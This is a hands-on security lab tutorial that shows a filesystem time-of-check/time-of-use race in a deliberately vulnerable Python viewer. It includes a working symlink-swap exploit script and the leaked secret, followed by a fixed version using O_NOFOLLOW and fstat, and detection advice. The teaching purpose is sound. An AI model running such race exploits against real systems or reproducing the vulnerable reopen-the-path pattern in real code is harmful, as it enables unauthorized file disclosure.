This lab demonstrates a filesystem TOCTOU race.
We use a local Python application because it makes the timing gap visible. The same pattern appears in privileged scripts, upload scanners, backup jobs, cleanup tasks, report generators, and support tooling.
The lab does not require root.
Setup
Use a Linux VM or WSL.
Create a working directory:
mkdir -p ~/race-condition-lab
cd ~/race-condition-lab
Create the vulnerable application:
cat > viewer.py <<'EOF'
#!/usr/bin/env python3
import os
import stat
import sys
import time
from pathlib import Path
BASE = Path.cwd() / "public"
SECRET = Path.cwd() / "private" / "secret.txt"
def setup():
BASE.mkdir(exist_ok=True)
SECRET.parent.mkdir(exist_ok=True)
note = BASE / "note.txt"
if not note.exists() and not note.is_symlink():
note.write_text(
"TITLE: public note\n"
"STATUS: approved\n"
"BODY:\n"
"This report is safe to render.\n",
encoding="utf-8",
)
SECRET.write_text("secret=ootw-race-demo-key\n", encoding="utf-8")
def verify_report_text(text):
if len(text) > 4096:
raise SystemExit("report too large")
if not text.startswith("TITLE:"):
raise SystemExit("missing title header")
if "STATUS: approved" not in text:
raise SystemExit("report is not approved")
if "secret=" in text:
raise SystemExit("secret marker blocked")
print("[verify] report header and approval status accepted")
def simulate_processing():
print("[parse] normalizing report metadata")
time.sleep(0.7)
print("[parse] indexing report keywords")
time.sleep(0.7)
print("[parse] preparing final render job")
time.sleep(0.7)
def vulnerable_viewer(name):
target = BASE / name
public_root = BASE.resolve()
if not target.exists():
raise SystemExit("missing file")
if not target.is_file():
raise SystemExit("not a regular file")
resolved = target.resolve()
if public_root not in resolved.parents and resolved != public_root:
raise SystemExit("outside public directory")
loaded = target.read_text(encoding="utf-8")
print("[load] loaded candidate report")
verify_report_text(loaded)
simulate_processing()
print("[use] reopening path for final render")
print(target.read_text(encoding="utf-8"), end="")
def fixed_viewer(name):
target = BASE / name
public_root = BASE.resolve()
try:
fd = os.open(target, os.O_RDONLY | os.O_NOFOLLOW)
except OSError as error:
raise SystemExit(error)
try:
st = os.fstat(fd)
if not stat.S_ISREG(st.st_mode):
raise SystemExit("not a regular file")
opened_path = Path(f"/proc/self/fd/{fd}").resolve()
if public_root not in opened_path.parents and opened_path != public_root:
raise SystemExit("outside public directory")
print("[fixed] validated the opened file descriptor")
with os.fdopen(fd, "r", encoding="utf-8") as f:
fd = None
loaded = f.read()
verify_report_text(loaded)
simulate_processing()
f.seek(0)
print("[use] rendering from the same file descriptor")
print(f.read(), end="")
finally:
if fd is not None:
os.close(fd)
def main():
setup()
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <vuln|fixed> <name>")
raise SystemExit(1)
mode = sys.argv[1]
name = sys.argv[2]
if "/" in name or name in {"", ".", ".."}:
raise SystemExit("use a simple filename")
if mode == "vuln":
vulnerable_viewer(name)
elif mode == "fixed":
fixed_viewer(name)
else:
raise SystemExit("unknown mode")
if __name__ == "__main__":
main()
EOF
chmod +x viewer.py
Run the normal path:
python3 viewer.py vuln note.txt
Expected:
[load] loaded candidate report
[verify] report header and approval status accepted
[parse] normalizing report metadata
[parse] indexing report keywords
[parse] preparing final render job
[use] reopening path for final render
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
Basic Vulnerability
The vulnerable pattern is:
if not target.is_file():
stop
resolved = target.resolve()
if outside_public:
stop
loaded = target.read_text()
verify_report_text(loaded)
simulate_processing()
target.read_text()
The application loads and verifies the report, performs other work, then opens the path again for the final render.
Applications often scan, parse, index, queue, log, or enrich content after validation. The bug appears when the final operation goes back to the path instead of using the already-opened object or already-validated bytes.
The attacker can change public/note.txt during the processing window.
Exploit The Race Manually
Open terminal 1:
cd ~/race-condition-lab
python3 viewer.py vuln note.txt
While the program is parsing, open terminal 2 and replace the file with a symlink:
cd ~/race-condition-lab
rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt
Terminal 1 should print:
secret=ootw-race-demo-key
The load and verification saw the original safe report.
The final render reopened the path and followed the symlink that was swapped in later.
Exploit
Manual timing is clumsy. Automate the swap.
Reset the public file:
rm -f public/note.txt
cat > public/note.txt <<'EOF'
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
EOF
Create the attacker script:
cat > race.py <<'EOF'
#!/usr/bin/env python3
from pathlib import Path
import os
import time
target = Path("public/note.txt")
secret = Path("../private/secret.txt")
deadline = time.time() + 3
while time.time() < deadline:
try:
target.unlink()
except FileNotFoundError:
pass
try:
target.symlink_to(secret)
except FileExistsError:
pass
time.sleep(0.001)
EOF
chmod +x race.py
Run terminal 1:
python3 viewer.py vuln note.txt
Run terminal 2 when terminal 1 reaches the parsing stage:
python3 race.py
Expected:
secret=ootw-race-demo-key
![[Chapter II - Local/1. Applications/3. Race Conditions/Exploit.png]]
This proves the TOCTOU primitive.
The attack does not bypass the string filename check. It changes the filesystem object after the check.
If the program exits with outside public directory, the swap happened too early. Reset public/note.txt, run the viewer again, and start the swap once [parse] normalizing report metadata appears.
Better Protection - More Checks
A common weak improvement is to check more properties before use:
exists()
is_file()
resolve()
owner
permissions
extension
content headers
approval status
file size
That still fails if the application later opens the path again.
More checks before the processing work do not remove the race window.
The rule is:
Do not validate a path and later trust that path.
Validate the opened object.
Fixed Version
Reset the public file:
rm -f public/note.txt
cat > public/note.txt <<'EOF'
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
EOF
Run the fixed viewer:
python3 viewer.py fixed note.txt
Expected:
[fixed] validated the opened file descriptor
[verify] report header and approval status accepted
[parse] normalizing report metadata
[parse] indexing report keywords
[parse] preparing final render job
[use] rendering from the same file descriptor
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
Now try to point note.txt at the secret before running fixed mode:
rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt
python3 viewer.py fixed note.txt
Expected:
[Errno 40] Too many levels of symbolic links
The fixed version opens with:
os.open(target, os.O_RDONLY | os.O_NOFOLLOW)
Then it validates the opened file descriptor:
st = os.fstat(fd)
The application no longer checks one object and uses another.
![[Chapter II - Local/1. Applications/3. Race Conditions/Fixed.png]]
What This Proves
The vulnerable flow:
load public/note.txt
-> report is inside public
-> report is approved
-> report content passes checks
parse/index/queue work
attacker replaces note.txt with symlink
reopen public/note.txt for final render
-> opens private/secret.txt
The fixed flow:
open target without following symlinks
validate opened file descriptor
load and verify report from the descriptor
parse/index/queue work
render from the same descriptor
The safe version does not trust that a path will still point to the same object later.
Detection
Useful signals include:
- Repeated creation and deletion of the same filename
- Symlinks appearing in upload, cache, or spool directories
- File validation failures followed by quick retry bursts
- Many
open,unlink,symlink, orrenameoperations in a short period - Application logs showing safe checks followed by unexpected read/write targets
- Access to files through
/proc/self/fd - Unexpected files under
/tmp,/var/tmp, or/dev/shm
Useful tools:
strace -f -e trace=file ./viewer.py vuln note.txt
inotifywait -m public
find public -type l -ls
Detection is not the fix. It shows where state is changing during sensitive operations.